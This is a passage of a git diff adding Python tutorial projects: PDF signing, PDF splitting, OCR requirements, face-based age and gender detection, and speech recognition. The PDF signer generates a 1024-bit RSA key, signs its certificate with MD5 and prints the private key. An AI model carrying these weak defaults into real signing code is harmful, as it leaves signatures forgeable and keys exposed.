b/handling-pdf-files/pdf-ocr/requirements.txt new file mode 100644 index 00000000..2996db9b --- /dev/null +++ b/handling-pdf-files/pdf-ocr/requirements.txt @@ -0,0 +1,7 @@ +Filetype==1.0.7 +numpy==1.19.4 +opencv-python==4.4.0.46 +pandas==1.1.4 +Pillow==8.0.1 +PyMuPDF==1.18.9 +pytesseract==0.3.7 \ No newline at end of file diff --git a/handling-pdf-files/pdf-signer/README.md b/handling-pdf-files/pdf-signer/README.md new file mode 100644 index 00000000..d04d9fa5 --- /dev/null +++ b/handling-pdf-files/pdf-signer/README.md @@ -0,0 +1,4 @@ +# [How to Sign PDF Files in Python](https://www.thepythoncode.com/article/sign-pdf-files-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Refer to [the tutorial](https://www.thepythoncode.com/article/sign-pdf-files-in-python) on how to run the script. \ No newline at end of file diff --git a/handling-pdf-files/pdf-signer/requirements.txt b/handling-pdf-files/pdf-signer/requirements.txt new file mode 100644 index 00000000..cd88ae20 --- /dev/null +++ b/handling-pdf-files/pdf-signer/requirements.txt @@ -0,0 +1,2 @@ +PDFNetPython3==8.1.0 +pyOpenSSL==20.0.1 \ No newline at end of file diff --git a/handling-pdf-files/pdf-signer/sign_pdf.py b/handling-pdf-files/pdf-signer/sign_pdf.py new file mode 100644 index 00000000..0f164de8 --- /dev/null +++ b/handling-pdf-files/pdf-signer/sign_pdf.py @@ -0,0 +1,225 @@ +# Import Libraries +import OpenSSL +import os +import time +import argparse +from PDFNetPython3.PDFNetPython import * +from typing import Tuple + + +def createKeyPair(type, bits): + """ + Create a public/private key pair + Arguments: Type - Key Type, must be one of TYPE_RSA and TYPE_DSA + bits - Number of bits to use in the key (1024 or 2048 or 4096) + Returns: The public/private key pair in a PKey object + """ + pkey = OpenSSL.crypto.PKey() + pkey.generate_key(type, bits) + return pkey + + + +def create_self_signed_cert(pKey): + """Create a self signed certificate. This certificate will not require to be signed by a Certificate Authority.""" + # Create a self signed certificate + cert = OpenSSL.crypto.X509() + # Common Name (e.g. server FQDN or Your Name) + cert.get_subject().CN = "BASSEM MARJI" + # Serial Number + cert.set_serial_number(int(time.time() * 10)) + # Not Before + cert.gmtime_adj_notBefore(0) # Not before + # Not After (Expire after 10 years) + cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60) + # Identify issue + cert.set_issuer((cert.get_subject())) + cert.set_pubkey(pKey) + cert.sign(pKey, 'md5') # or cert.sign(pKey, 'sha256') + return cert + + +def load(): + """Generate the certificate""" + summary = {} + summary['OpenSSL Version'] = OpenSSL.__version__ + # Generating a Private Key... + key = createKeyPair(OpenSSL.crypto.TYPE_RSA, 1024) + # PEM encoded + with open('.\static\private_key.pem', 'wb') as pk: + pk_str = OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key) + pk.write(pk_str) + summary['Private Key'] = pk_str + # Done - Generating a private key... + # Generating a self-signed client certification... + cert = create_self_signed_cert(pKey=key) + with open('.\static\certificate.cer', 'wb') as cer: + cer_str = OpenSSL.crypto.dump_certificate( + OpenSSL.crypto.FILETYPE_PEM, cert) + cer.write(cer_str) + summary['Self Signed Certificate'] = cer_str + # Done - Generating a self-signed client certification... + # Generating the public key... + with open('.\static\public_key.pem', 'wb') as pub_key: + pub_key_str = OpenSSL.crypto.dump_publickey( + OpenSSL.crypto.FILETYPE_PEM, cert.get_pubkey()) + #print("Public key = ",pub_key_str) + pub_key.write(pub_key_str) + summary['Public Key'] = pub_key_str + # Done - Generating the public key... + # Take a private key and a certificate and combine them into a PKCS12 file. + # Generating a container file of the private key and the certificate... + p12 = OpenSSL.crypto.PKCS12() + p12.set_privatekey(key) + p12.set_certificate(cert) + open('.\static\container.pfx', 'wb').write(p12.export()) + # You may convert a PKSC12 file (.pfx) to a PEM format + # Done - Generating a container file of the private key and the certificate... + # To Display A Summary + print("## Initialization Summary ##################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("############################################################################") + return True + + +def sign_file(input_file: str, signatureID: str, x_coordinate: int, + y_coordinate: int, pages: Tuple = None, output_file: str = None + ): + """Sign a PDF file""" + # An output file is automatically generated with the word signed added at its end + if not output_file: + output_file = (os.path.splitext(input_file)[0]) + "_signed.pdf" + # Initialize the library + PDFNet.Initialize() + doc = PDFDoc(input_file) + # Create a signature field + sigField = SignatureWidget.Create(doc, Rect( + x_coordinate, y_coordinate, x_coordinate+100, y_coordinate+50), signatureID) + # Iterate throughout document pages + for page in range(1, (doc.GetPageCount() + 1)): + # If required for specific pages + if pages: + if str(page) not in pages: + continue + pg = doc.GetPage(page) + # Create a signature text field and push it on the page + pg.AnnotPushBack(sigField) + # Signature image + sign_filename = os.path.dirname( + os.path.abspath(__file__)) + "\static\signature.jpg" + # Self signed certificate + pk_filename = os.path.dirname( + os.path.abspath(__file__)) + "\static\container.pfx" + # Retrieve the signature field. + approval_field = doc.GetField(signatureID) + approval_signature_digsig_field = DigitalSignatureField(approval_field) + # Add appearance to the signature field. + img = Image.Create(doc.GetSDFDoc(), sign_filename) + found_approval_signature_widget = SignatureWidget( + approval_field.GetSDFObj()) + found_approval_signature_widget.CreateSignatureAppearance(img) + # Prepare the signature and signature handler for signing. + approval_signature_digsig_field.SignOnNextSave(pk_filename, '') + # The signing will be done during the following incremental save operation. + doc.Save(output_file, SDFDoc.e_incremental) + # Develop a Process Summary + summary = { + "Input File": input_file, "Signature ID": signatureID, + "Output File": output_file, "Signature File": sign_filename, + "Certificate File": pk_filename + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("###################################################################") + return True + + +def sign_folder(**kwargs): + """Sign all PDF Files within a specified path""" + input_folder = kwargs.get('input_folder') + signatureID = kwargs.get('signatureID') + pages = kwargs.get('pages') + x_coordinate = int(kwargs.get('x_coordinate')) + y_coordinate = int(kwargs.get('y_coordinate')) + # Run in recursive mode + recursive = kwargs.get('recursive') + # Loop though the files within the input folder. + for foldername, dirs, filenames in os.walk(input_folder): + for filename in filenames: + # Check if pdf file + if not filename.endswith('.pdf'): + continue + # PDF File found + inp_pdf_file = os.path.join(foldername, filename) + print("Processing file =", inp_pdf_file) + # Compress Existing file + sign_file(input_file=inp_pdf_file, signatureID=signatureID, x_coordinate=x_coordinate, + y_coordinate=y_coordinate, pages=pages, output_file=None) + if not recursive: + break + + +def is_valid_path(path): + """Validates the path inputted and checks whether it is a file path or a folder path""" + if not path: + raise ValueError(f"Invalid Path") + if os.path.isfile(path): + return path + elif os.path.isdir(path): + return path + else: + raise ValueError(f"Invalid Path {path}") + + +def parse_args(): + """Get user command line parameters""" + parser = argparse.ArgumentParser(description="Available Options") + parser.add_argument('-l', '--load', dest='load', action="https://github.com/store_true", + help="Load the required configurations and create the certificate") + parser.add_argument('-i', '--input_path', dest='input_path', type=is_valid_path, + help="Enter the path of the file or the folder to process") + parser.add_argument('-s', '--signatureID', dest='signatureID', + type=str, help="Enter the ID of the signature") + parser.add_argument('-p', '--pages', dest='pages', type=tuple, + help="Enter the pages to consider e.g.: [1,3]") + parser.add_argument('-x', '--x_coordinate', dest='x_coordinate', + type=int, help="Enter the x coordinate.") + parser.add_argument('-y', '--y_coordinate', dest='y_coordinate', + type=int, help="Enter the y coordinate.") + path = parser.parse_known_args()[0].input_path + if path and os.path.isfile(path): + parser.add_argument('-o', '--output_file', dest='output_file', + type=str, help="Enter a valid output file") + if path and os.path.isdir(path): + parser.add_argument('-r', '--recursive', dest='recursive', default=False, type=lambda x: ( + str(x).lower() in ['true', '1', 'yes']), help="Process Recursively or Non-Recursively") + args = vars(parser.parse_args()) + # To Display The Command Line Arguments + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) for i, j in args.items())) + print("######################################################################") + return args + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + args = parse_args() + if args['load'] == True: + load() + else: + # If File Path + if os.path.isfile(args['input_path']): + sign_file( + input_file=args['input_path'], signatureID=args['signatureID'], + x_coordinate=int(args['x_coordinate']), y_coordinate=int(args['y_coordinate']), + pages=args['pages'], output_file=args['output_file'] + ) + # If Folder Path + elif os.path.isdir(args['input_path']): + # Process a folder + sign_folder( + input_folder=args['input_path'], signatureID=args['signatureID'], + x_coordinate=int(args['x_coordinate']), y_coordinate=int(args['y_coordinate']), + pages=args['pages'], recursive=args['recursive'] + ) diff --git a/handling-pdf-files/pdf-signer/static/Letter of confirmation.pdf b/handling-pdf-files/pdf-signer/static/Letter of confirmation.pdf new file mode 100644 index 00000000..20f77fe2 Binary files /dev/null and b/handling-pdf-files/pdf-signer/static/Letter of confirmation.pdf differ diff --git a/handling-pdf-files/pdf-signer/static/Letter of confirmation_signed.pdf b/handling-pdf-files/pdf-signer/static/Letter of confirmation_signed.pdf new file mode 100644 index 00000000..76a3d0e7 Binary files /dev/null and b/handling-pdf-files/pdf-signer/static/Letter of confirmation_signed.pdf differ diff --git a/handling-pdf-files/pdf-signer/static/signature.jpg b/handling-pdf-files/pdf-signer/static/signature.jpg new file mode 100644 index 00000000..c510efe4 Binary files /dev/null and b/handling-pdf-files/pdf-signer/static/signature.jpg differ diff --git a/handling-pdf-files/split-pdf/README.md b/handling-pdf-files/split-pdf/README.md new file mode 100644 index 00000000..e7bde95f --- /dev/null +++ b/handling-pdf-files/split-pdf/README.md @@ -0,0 +1 @@ +# [How to Split PDF Files in Python](https://www.thepythoncode.com/article/split-pdf-files-in-python) \ No newline at end of file diff --git a/handling-pdf-files/split-pdf/bert-paper.pdf b/handling-pdf-files/split-pdf/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/split-pdf/bert-paper.pdf differ diff --git a/handling-pdf-files/split-pdf/requiremenst.txt b/handling-pdf-files/split-pdf/requiremenst.txt new file mode 100644 index 00000000..ea1898c3 --- /dev/null +++ b/handling-pdf-files/split-pdf/requiremenst.txt @@ -0,0 +1 @@ +pikepdf \ No newline at end of file diff --git a/handling-pdf-files/split-pdf/split_pdf.py b/handling-pdf-files/split-pdf/split_pdf.py new file mode 100644 index 00000000..346b1598 --- /dev/null +++ b/handling-pdf-files/split-pdf/split_pdf.py @@ -0,0 +1,42 @@ +import os +from pikepdf import Pdf + +# a dictionary mapping PDF file to original PDF's page range +file2pages = { + 0: [0, 9], # 1st splitted PDF file will contain the pages from 0 to 9 (9 is not included) + 1: [9, 11], # 2nd splitted PDF file will contain the pages from 9 (9 is included) to 11 + 2: [11, 100], # 3rd splitted PDF file will contain the pages from 11 until the end or until the 100th page (if exists) +} + +# the target PDF document to split +filename = "bert-paper.pdf" +# load the PDF file +pdf = Pdf.open(filename) +# make the new splitted PDF files +new_pdf_files = [ Pdf.new() for i in file2pages ] +# the current pdf file index +new_pdf_index = 0 +# iterate over all PDF pages +for n, page in enumerate(pdf.pages): + if n in list(range(*file2pages[new_pdf_index])): + # add the `n` page to the `new_pdf_index` file + new_pdf_files[new_pdf_index].pages.append(page) + print(f"[*] Assigning Page {n} to the file {new_pdf_index}") + else: + # make a unique filename based on original file name plus the index + name, ext = os.path.splitext(filename) + output_filename = f"{name}-{new_pdf_index}.pdf" + # save the PDF file + new_pdf_files[new_pdf_index].save(output_filename) + print(f"[+] File: {output_filename} saved.") + # go to the next file + new_pdf_index += 1 + # add the `n` page to the `new_pdf_index` file + new_pdf_files[new_pdf_index].pages.append(page) + print(f"[*] Assigning Page {n} to the file {new_pdf_index}") + +# save the last PDF file +name, ext = os.path.splitext(filename) +output_filename = f"{name}-{new_pdf_index}.pdf" +new_pdf_files[new_pdf_index].save(output_filename) +print(f"[+] File: {output_filename} saved.") \ No newline at end of file diff --git a/images/codingfleet-banner-2.png b/images/codingfleet-banner-2.png new file mode 100644 index 00000000..e95c4d27 Binary files /dev/null and b/images/codingfleet-banner-2.png differ diff --git a/images/codingfleet-banner-3.png b/images/codingfleet-banner-3.png new file mode 100644 index 00000000..9f27495e Binary files /dev/null and b/images/codingfleet-banner-3.png differ diff --git a/images/iproyal-1.png b/images/iproyal-1.png new file mode 100644 index 00000000..9e607e13 Binary files /dev/null and b/images/iproyal-1.png differ diff --git a/machine-learning/age-and-gender-detection/README.md b/machine-learning/age-and-gender-detection/README.md new file mode 100644 index 00000000..16e8a706 --- /dev/null +++ b/machine-learning/age-and-gender-detection/README.md @@ -0,0 +1,9 @@ +# [Age and Gender Detection using OpenCV in Python](https://www.thepythoncode.com/article/gender-and-age-detection-using-opencv-python) +To run this: +- `pip3 install -r requirements.txt` +- Check [the tutorial](https://www.thepythoncode.com/article/gender-and-age-detection-using-opencv-python) for more information on how to set this up. +- After you download the models weights and architectures, you can perform age & gender detection on any image: + ``` + $ python age_and_gender_detection.py images/kids.jpg + ``` +- You can also use your camera, via the `age_and_gender_detection_live.py` script. diff --git a/machine-learning/age-and-gender-detection/age_and_gender_detection.py b/machine-learning/age-and-gender-detection/age_and_gender_detection.py new file mode 100644 index 00000000..e1f8bf2a --- /dev/null +++ b/machine-learning/age-and-gender-detection/age_and_gender_detection.py @@ -0,0 +1,176 @@ +# Import Libraries +import cv2 +import numpy as np + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" +# The gender model architecture +# https://drive.google.com/open?id=1W_moLzMlGiELyPxWiYQJ9KFaXroQ_NFQ +GENDER_MODEL = 'weights/deploy_gender.prototxt' +# The gender model pre-trained weights +# https://drive.google.com/open?id=1AW3WduLk1haTVAxHOkVS_BEzel1WXQHP +GENDER_PROTO = 'weights/gender_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the gender classes +GENDER_LIST = ['Male', 'Female'] +# The model architecture +# download from: https://drive.google.com/open?id=1kiusFljZc9QfcIYdU2s7xrtWHTraHwmW +AGE_MODEL = 'weights/deploy_age.prototxt' +# The model pre-trained weights +# download from: https://drive.google.com/open?id=1kWv0AjxGSN0g31OeJa02eBGM0R_jcjIl +AGE_PROTO = 'weights/age_net.caffemodel' +# Represent the 8 age classes of this CNN probability layer +AGE_INTERVALS = ['(0, 2)', '(4, 6)', '(8, 12)', '(15, 20)', + '(25, 32)', '(38, 43)', '(48, 53)', '(60, 100)'] +# Initialize frame size +frame_width = 1280 +frame_height = 720 +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load age prediction model +age_net = cv2.dnn.readNetFromCaffe(AGE_MODEL, AGE_PROTO) +# Load gender prediction model +gender_net = cv2.dnn.readNetFromCaffe(GENDER_MODEL, GENDER_PROTO) + +def get_faces(frame, confidence_threshold=0.5): + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * \ + np.array([frame.shape[1], frame.shape[0], + frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +def display_img(title, img): + """Displays an image on screen and maintains the output until the user presses a key""" + # Display Image on screen + cv2.imshow(title, img) + # Mantain output until user presses a key + cv2.waitKey(0) + # Destroy windows when user presses a key + cv2.destroyAllWindows() + + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def get_gender_predictions(face_img): + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False, crop=False + ) + gender_net.setInput(blob) + return gender_net.forward() + + +def get_age_predictions(face_img): + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False + ) + age_net.setInput(blob) + return age_net.forward() + + + +def predict_age_and_gender(input_path: str): + """Predict the gender of the faces showing in the image""" + # Initialize frame size + # frame_width = 1280 + # frame_height = 720 + # Read Input Image + img = cv2.imread(input_path) + # resize the image, uncomment if you want to resize the image + # img = cv2.resize(img, (frame_width, frame_height)) + # Take a copy of the initial image and resize it + frame = img.copy() + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + # predict the faces + faces = get_faces(frame) + # Loop over the faces detected + # for idx, face in enumerate(faces): + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + age_preds = get_age_predictions(face_img) + gender_preds = get_gender_predictions(face_img) + i = gender_preds[0].argmax() + gender = GENDER_LIST[i] + gender_confidence_score = gender_preds[0][i] + i = age_preds[0].argmax() + age = AGE_INTERVALS[i] + age_confidence_score = age_preds[0][i] + # Draw the box + label = f"{gender}-{gender_confidence_score*100:.1f}%, {age}-{age_confidence_score*100:.1f}%" + # label = "{}-{:.2f}%".format(gender, gender_confidence_score*100) + print(label) + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + box_color = (255, 0, 0) if gender == "Male" else (147, 20, 255) + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), box_color, 2) + # Label processed image + font_scale = 0.54 + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, font_scale, box_color, 2) + + # Display processed image + display_img("Gender Estimator", frame) + # uncomment if you want to save the image + cv2.imwrite("output.jpg", frame) + # Cleanup + cv2.destroyAllWindows() + + +if __name__ == "__main__": + import sys + input_path = sys.argv[1] + predict_age_and_gender(input_path) \ No newline at end of file diff --git a/machine-learning/age-and-gender-detection/age_and_gender_detection_live.py b/machine-learning/age-and-gender-detection/age_and_gender_detection_live.py new file mode 100644 index 00000000..19eb21e3 --- /dev/null +++ b/machine-learning/age-and-gender-detection/age_and_gender_detection_live.py @@ -0,0 +1,166 @@ +# Import Libraries +import cv2 +import numpy as np + +# The gender model architecture +# https://drive.google.com/open?id=1W_moLzMlGiELyPxWiYQJ9KFaXroQ_NFQ +GENDER_MODEL = 'weights/deploy_gender.prototxt' +# The gender model pre-trained weights +# https://drive.google.com/open?id=1AW3WduLk1haTVAxHOkVS_BEzel1WXQHP +GENDER_PROTO = 'weights/gender_net.caffemodel' +# Each Caffe Model impose the shape of the input image also image preprocessing is required like mean +# substraction to eliminate the effect of illunination changes +MODEL_MEAN_VALUES = (78.4263377603, 87.7689143744, 114.895847746) +# Represent the gender classes +GENDER_LIST = ['Male', 'Female'] +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" +# The model architecture +# download from: https://drive.google.com/open?id=1kiusFljZc9QfcIYdU2s7xrtWHTraHwmW +AGE_MODEL = 'weights/deploy_age.prototxt' +# The model pre-trained weights +# download from: https://drive.google.com/open?id=1kWv0AjxGSN0g31OeJa02eBGM0R_jcjIl +AGE_PROTO = 'weights/age_net.caffemodel' +# Represent the 8 age classes of this CNN probability layer +AGE_INTERVALS = ['(0, 2)', '(4, 6)', '(8, 12)', '(15, 20)', + '(25, 32)', '(38, 43)', '(48, 53)', '(60, 100)'] +# Initialize frame size +frame_width = 1280 +frame_height = 720 +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load age prediction model +age_net = cv2.dnn.readNetFromCaffe(AGE_MODEL, AGE_PROTO) +# Load gender prediction model +gender_net = cv2.dnn.readNetFromCaffe(GENDER_MODEL, GENDER_PROTO) + +def get_faces(frame, confidence_threshold=0.5): + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * \ + np.array([frame.shape[1], frame.shape[0], + frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def get_gender_predictions(face_img): + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False, crop=False + ) + gender_net.setInput(blob) + return gender_net.forward() + + +def get_age_predictions(face_img): + blob = cv2.dnn.blobFromImage( + image=face_img, scalefactor=1.0, size=(227, 227), + mean=MODEL_MEAN_VALUES, swapRB=False + ) + age_net.setInput(blob) + return age_net.forward() + + + +def predict_age_and_gender(): + """Predict the gender of the faces showing in the image""" + # create a new cam object + cap = cv2.VideoCapture(0) + + while True: + _, img = cap.read() + # Take a copy of the initial image and resize it + frame = img.copy() + # resize if higher than frame_width + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + # predict the faces + faces = get_faces(frame) + # Loop over the faces detected + # for idx, face in enumerate(faces): + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + # predict age + age_preds = get_age_predictions(face_img) + # predict gender + gender_preds = get_gender_predictions(face_img) + i = gender_preds[0].argmax() + gender = GENDER_LIST[i] + gender_confidence_score = gender_preds[0][i] + i = age_preds[0].argmax() + age = AGE_INTERVALS[i] + age_confidence_score = age_preds[0][i] + # Draw the box + label = f"{gender}-{gender_confidence_score*100:.1f}%, {age}-{age_confidence_score*100:.1f}%" + # label = "{}-{:.2f}%".format(gender, gender_confidence_score*100) + print(label) + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + box_color = (255, 0, 0) if gender == "Male" else (147, 20, 255) + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), box_color, 2) + # Label processed image + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, 0.54, box_color, 2) + + # Display processed image + cv2.imshow("Gender Estimator", frame) + if cv2.waitKey(1) == ord("q"): + break + # uncomment if you want to save the image + # cv2.imwrite("output.jpg", frame) + # Cleanup + cv2.destroyAllWindows() + + +if __name__ == "__main__": + predict_age_and_gender() \ No newline at end of file diff --git a/machine-learning/age-and-gender-detection/images/Donald Trump.jpg b/machine-learning/age-and-gender-detection/images/Donald Trump.jpg new file mode 100644 index 00000000..2547e142 Binary files /dev/null and b/machine-learning/age-and-gender-detection/images/Donald Trump.jpg differ diff --git a/machine-learning/age-and-gender-detection/images/girl.jpg b/machine-learning/age-and-gender-detection/images/girl.jpg new file mode 100644 index 00000000..57b64e35 Binary files /dev/null and b/machine-learning/age-and-gender-detection/images/girl.jpg differ diff --git a/machine-learning/age-and-gender-detection/images/kids.jpg b/machine-learning/age-and-gender-detection/images/kids.jpg new file mode 100644 index 00000000..624ade56 Binary files /dev/null and b/machine-learning/age-and-gender-detection/images/kids.jpg differ diff --git a/machine-learning/age-and-gender-detection/output-donald.jpg b/machine-learning/age-and-gender-detection/output-donald.jpg new file mode 100644 index 00000000..a414becf Binary files /dev/null and b/machine-learning/age-and-gender-detection/output-donald.jpg differ diff --git a/machine-learning/age-and-gender-detection/output-kids.jpg b/machine-learning/age-and-gender-detection/output-kids.jpg new file mode 100644 index 00000000..b3e6ff17 Binary files /dev/null and b/machine-learning/age-and-gender-detection/output-kids.jpg differ diff --git a/machine-learning/age-and-gender-detection/requirements.txt b/machine-learning/age-and-gender-detection/requirements.txt new file mode 100644 index 00000000..6f1e5232 --- /dev/null +++ b/machine-learning/age-and-gender-detection/requirements.txt @@ -0,0 +1,2 @@ +opencv-python +numpy \ No newline at end of file diff --git a/machine-learning/asr/7601-291468-0006.wav b/machine-learning/asr/7601-291468-0006.wav new file mode 100644 index 00000000..0f6d5f83 Binary files /dev/null and b/machine-learning/asr/7601-291468-0006.wav differ diff --git a/machine-learning/asr/OSR_us_000_0060_8k.wav b/machine-learning/asr/OSR_us_000_0060_8k.wav new file mode 100644 index 00000000..e08c027e Binary files /dev/null and b/machine-learning/asr/OSR_us_000_0060_8k.wav differ diff --git a/machine-learning/asr/README.md b/machine-learning/asr/README.md new file mode 100644 index 00000000..b3f973bf --- /dev/null +++ b/machine-learning/asr/README.md @@ -0,0 +1 @@ +# [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python) \ No newline at end of file diff --git a/machine-learning/asr/arabic-audio.wav b/machine-learning/asr/arabic-audio.wav new file mode 100644 index 00000000..e20c35a4 Binary files /dev/null and b/machine-learning/asr/arabic-audio.wav differ diff --git a/machine-learning/asr/cual-es-la-fecha-cumple.mp3 b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 new file mode 100644 index 00000000..2ab59991 Binary files /dev/null and b/machine-learning/asr/cual-es-la-fecha-cumple.mp3 differ diff --git a/machine-learning/asr/requirements.txt b/machine-learning/asr/requirements.txt new file mode 100644 index 00000000..c9d74b1c --- /dev/null +++ b/machine-learning/asr/requirements.txt @@ -0,0 +1,8 @@ +transformers==4.28.1 +soundfile +sentencepiece +torchaudio +pydub +openai +SpeechRecognition +pyaudio \ No newline at end of file diff --git a/machine-learning/asr/speechrecognition.py b/machine-learning/asr/speechrecognition.py new file mode 100644 index 00000000..e9f09883 --- /dev/null +++ b/machine-learning/asr/speechrecognition.py @@ -0,0 +1,105 @@ +# importing libraries +import speech_recognition as sr +import os +from pydub import AudioSegment +from pydub.silence import split_on_silence + +# create a speech recognition object +r = sr.Recognizer() + +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence +# and applies speech recognition +def get_large_audio_transcription_on_silence(path): + """ + Splitting the large audio file into chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split audio sound where silence is 700 miliseconds or more and get chunks + chunks = split_on_silence(sound, + # experiment with this value for your target audio file + min_silence_len = 500, + # adjust this per requirement + silence_thresh = sound.dBFS-14, + # keep the silence for 1 second, adjustable as well + keep_silence=500, + ) + folder_name = "audio-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + with sr.AudioFile(chunk_filename) as source: + audio_listened = r.record(source) + # try converting it to text + try: + text = r.recognize_google(audio_listened) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """ + Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks + """ + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + 